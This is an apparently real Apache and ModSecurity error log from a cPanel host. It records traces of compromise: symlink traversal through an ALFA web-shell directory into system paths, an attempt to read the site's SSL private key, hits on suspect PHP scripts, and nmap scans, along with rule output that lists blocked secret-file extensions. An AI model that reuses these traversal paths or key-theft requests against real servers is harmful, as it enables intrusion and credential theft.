[Mon Oct 26 02:40:15.176593 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 34.206.249.188:22461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:18.944117 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 34.205.170.13:26441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:23.148153 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 34.231.156.59:35088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:27.057130 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.3.102.51:40581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:30.988944 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 184.73.239.35:22108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:38.893663 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 52.3.127.170:63505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:47.707953 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.220.148.166:25914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:50.986646 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 44.194.139.149:21453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_mid/unbind
[Mon Oct 26 02:41:00.326473 2026] [security2:error] [pid 2984316:tid 2984316] [client 107.172.76.131:51744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at717SmvL3FYV1A8W3jtCAAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:41:00.326531 2026] [security2:error] [pid 2984316:tid 2984316] [client 107.172.76.131:51744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at717SmvL3FYV1A8W3jtCAAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:41:03.206012 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.84.250.51:57964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:04.163941 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 185.191.171.5:36408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:11.164364 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 18.233.24.238:24211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:15.052519 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 23.21.175.228:13052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:19.165154 2026] [ssl:error] [pid 2973345:tid 2973345] (5)Input/output error: [client 3.232.102.111:45816] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:27.160439 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 85.208.96.207:33906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/object_size
[Mon Oct 26 02:41:27.267375 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 100.28.44.58:22977] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:30.498404 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 85.208.96.206:56412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/store_user
[Mon Oct 26 02:41:34.782559 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:51704] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at72EWOlQEA7vTaN5Z-h5wAAABA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:41:34.782642 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:51704] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at72EWOlQEA7vTaN5Z-h5wAAABA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:41:35.267836 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 54.197.82.195:11523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/new_id
[Mon Oct 26 02:41:39.373691 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 35.170.205.140:28588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:41:51.325586 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.206.212.24:46121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:03.583385 2026] [core:error] [pid 2984073:tid 2984073] (13)Permission denied: [client 52.203.152.231:14688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/driver/unbind
[Mon Oct 26 02:42:11.446435 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 35.171.141.42:18301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:13.702853 2026] [security2:error] [pid 2984316:tid 2984316] [client 107.172.76.131:51744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at72OCmvL3FYV1A8W3jtDQAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:42:13.702896 2026] [security2:error] [pid 2984316:tid 2984316] [client 107.172.76.131:51744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at72OCmvL3FYV1A8W3jtDQAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:42:15.371667 2026] [ssl:error] [pid 2974954:tid 2974954] (22)Invalid argument: [client 34.239.85.139:12923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:19.277110 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 85.208.96.205:19468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/alloc_calls
[Mon Oct 26 02:42:20.579302 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 44.223.193.255:48596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:23.595866 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 52.71.216.196:2835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:27.168437 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 85.208.96.202:33974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/secpath_cache/ctor
[Mon Oct 26 02:42:29.343764 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 185.191.171.10:46126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/cpu_slabs
[Mon Oct 26 02:42:35.402700 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 54.83.240.58:65486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:43.585404 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 34.233.114.237:38181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:51.431574 2026] [ssl:error] [pid 2963566:tid 2963566] (22)Invalid argument: [client 18.209.201.119:58883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:42:56.085406 2026] [proxy_fcgi:error] [pid 2984261:tid 2984261] [client 138.197.171.229:60368] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 02:43:03.547894 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.227.180.70:38826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:08.896398 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 54.91.122.193:2886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/driver/module/uevent
[Mon Oct 26 02:43:11.839085 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.194.95.99:17153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:15.734259 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 54.197.114.76:24305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:19.581660 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 98.84.60.17:20866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:27.763308 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 100.28.44.58:46664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:35.577494 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 98.84.60.17:31612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/module/uevent
[Mon Oct 26 02:43:43.697398 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.94.199.128:32690] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:47.916765 2026] [ssl:error] [pid 2978303:tid 2978303] (5)Input/output error: [client 100.24.167.60:34597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:43:59.777084 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.83.56.1:2597] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:44:03.897745 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.207.79.144:50973] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:44:10.750312 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 85.208.96.204:53648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/objs_per_slab
[Mon Oct 26 02:44:15.794435 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 54.235.172.96:51120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:44:19.897161 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 52.44.148.203:40731] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:44:44.018172 2026] [security2:error] [pid 2984316:tid 2984316] [client 107.172.76.131:51744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at72zimvL3FYV1A8W3jtFwAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:44:44.018274 2026] [security2:error] [pid 2984316:tid 2984316] [client 107.172.76.131:51744] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at72zimvL3FYV1A8W3jtFwAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 02:44:47.754471 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 184.72.84.154:24100] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:44:51.855066 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 184.72.95.195:10295] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:07.850080 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 3.209.174.110:10003] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:11.085881 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 185.191.171.1:42868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:11.849168 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 3.231.193.38:54782] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:19.921201 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 18.205.127.11:4988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:23.864692 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 34.227.234.246:28872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:28.054520 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.213.240.226:61617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:28.215070 2026] [cgi:error] [pid 2984261:tid 2984261] [client 20.151.218.88:57276] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 02:45:28.700583 2026] [security2:error] [pid 2963542:tid 2963542] [client 20.151.218.88:57056] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "server.sherwinpinturas.com"] [uri "/zhidagen.php"] [unique_id "at73CN8riwHadHMxXEF0jgAAACU"]
[Mon Oct 26 02:45:28.700622 2026] [security2:error] [pid 2963542:tid 2963542] [client 20.151.218.88:57056] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "server.sherwinpinturas.com"] [uri "/zhidagen.php"] [unique_id "at73CN8riwHadHMxXEF0jgAAACU"]
[Mon Oct 26 02:45:47.871158 2026] [ssl:error] [pid 2984450:tid 2984450] (5)Input/output error: [client 34.206.212.24:3130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:45:51.880663 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.220.148.166:35689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:07.907358 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 52.204.253.129:14921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:12.014926 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 44.221.37.41:38134] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:16.017241 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 54.156.248.117:22121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:19.682519 2026] [ssl:error] [pid 2986309:tid 2986309] (95)Operation not supported: [client 54.84.147.79:55441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:20.971145 2026] [security2:error] [pid 2984261:tid 2984261] [client 185.191.171.15:36282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/wak/LC_MESSAGES/"] [unique_id "at73PC-E70pTpF9ObR-xsgAAAAg"]
[Mon Oct 26 02:46:20.971199 2026] [security2:error] [pid 2984261:tid 2984261] [client 185.191.171.15:36282] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/wak/LC_MESSAGES/"] [unique_id "at73PC-E70pTpF9ObR-xsgAAAAg"]
[Mon Oct 26 02:46:22.300857 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 185.191.171.5:14254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/objects
[Mon Oct 26 02:46:23.794459 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 52.2.83.227:23828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:27.724204 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 34.196.6.199:10345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:35.940465 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 18.214.124.6:47134] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:40.082076 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 35.169.119.108:42815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:43.706060 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 18.214.186.220:52618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:46:45.963398 2026] [security2:error] [pid 2984452:tid 2984452] [client 45.56.118.133:10556] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at73Vens9GI20tQzjLT49wAAAB0"]
[Mon Oct 26 02:46:45.964324 2026] [authz_core:error] [pid 2984452:tid 2984452] [client 45.56.118.133:10556] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:46:59.991261 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 52.4.238.8:47764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:03.929261 2026] [security2:error] [pid 2984073:tid 2984073] [client 185.191.171.2:35228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c09d3_2d179_622c8f7ef3a0b21126acfb24f96dee17.key"] [unique_id "at73Z3Vm0c9vLAkU-I5ZcQAAAAE"]
[Mon Oct 26 02:47:03.930143 2026] [security2:error] [pid 2984073:tid 2984073] [client 185.191.171.2:35228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c09d3_2d179_622c8f7ef3a0b21126acfb24f96dee17.key"] [unique_id "at73Z3Vm0c9vLAkU-I5ZcQAAAAE"]
[Mon Oct 26 02:47:03.930665 2026] [security2:error] [pid 2984073:tid 2984073] [client 185.191.171.2:35228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c09d3_2d179_622c8f7ef3a0b21126acfb24f96dee17.key"] [unique_id "at73Z3Vm0c9vLAkU-I5ZcQAAAAE"]
[Mon Oct 26 02:47:07.681692 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 52.5.232.250:31271] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:07.682013 2026] [security2:error] [pid 2978303:tid 2978303] [client 52.5.232.250:31271] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/d3cold_allowed"] [unique_id "at73a5MnyYq70WIUET3slQAAABc"]
[Mon Oct 26 02:47:07.682053 2026] [security2:error] [pid 2978303:tid 2978303] [client 52.5.232.250:31271] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/d3cold_allowed"] [unique_id "at73a5MnyYq70WIUET3slQAAABc"]
[Mon Oct 26 02:47:16.015130 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 34.196.114.170:63798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:27.668870 2026] [ssl:error] [pid 2986309:tid 2986309] (70014)End of file found: [client 54.163.136.244:41745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:47:27.990167 2026] [security2:error] [pid 2984261:tid 2984261] [client 45.56.118.133:14100] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73fy-E70pTpF9ObR-xtwAAAAg"]
[Mon Oct 26 02:47:27.994765 2026] [security2:error] [pid 2963542:tid 2963542] [client 45.56.118.133:14112] ModSecurity: Warning. Matched phrase "nmap scripting engine" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "2"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: nmap scripting engine found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (compatible; nmap scripting engine; https://nmap.org/book/nse.html)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73f98riwHadHMxXEF0pwAAACU"]
[Mon Oct 26 02:47:28.004245 2026] [security2:error] [pid 2963542:tid 2963542] [client 45.56.118.133:14112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73f98riwHadHMxXEF0pwAAACU"]
[Mon Oct 26 02:47:28.004275 2026] [security2:error] [pid 2984261:tid 2984261] [client 45.56.118.133:14100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73fy-E70pTpF9ObR-xtwAAAAg"]
[Mon Oct 26 02:47:28.004678 2026] [security2:error] [pid 2963542:tid 2963542] [client 45.56.118.133:14112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73f98riwHadHMxXEF0pwAAACU"]
[Mon Oct 26 02:47:28.004681 2026] [security2:error] [pid 2984261:tid 2984261] [client 45.56.118.133:14100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Found User-Agent associated with security scanner"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at73fy-E70pTpF9ObR-xtwAAAAg"]
[Mon Oct 26 02:47:28.004741 2026] [security2:error] [pid 2963542:tid 2963542] [client 45.56.118.133:14112] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73f98riwHadHMxXEF0pwAAACU"]
[Mon Oct 26 02:47:28.004750 2026] [security2:error] [pid 2984261:tid 2984261] [client 45.56.118.133:14100] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at73fy-E70pTpF9ObR-xtwAAAAg"]
